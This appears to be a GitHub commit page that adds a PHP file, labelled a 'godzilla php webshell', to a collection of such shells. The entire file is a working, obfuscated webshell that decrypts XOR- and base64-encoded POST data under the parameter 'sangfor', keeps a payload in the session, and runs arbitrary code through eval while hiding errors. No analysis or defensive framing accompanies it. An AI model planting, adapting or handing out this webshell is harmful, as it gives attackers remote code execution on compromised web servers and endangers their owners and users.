Create 20220213.php

add godzilla php webshell
This commit is contained in:
tennc 2022-02-13 22:24:49 +08:00 committed by GitHub
parent 44e785c4cc
commit ccf2230bfa
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

34
Godzilla/20220213.php Normal file
View file

@ -0,0 +1,34 @@
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='sangfor';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}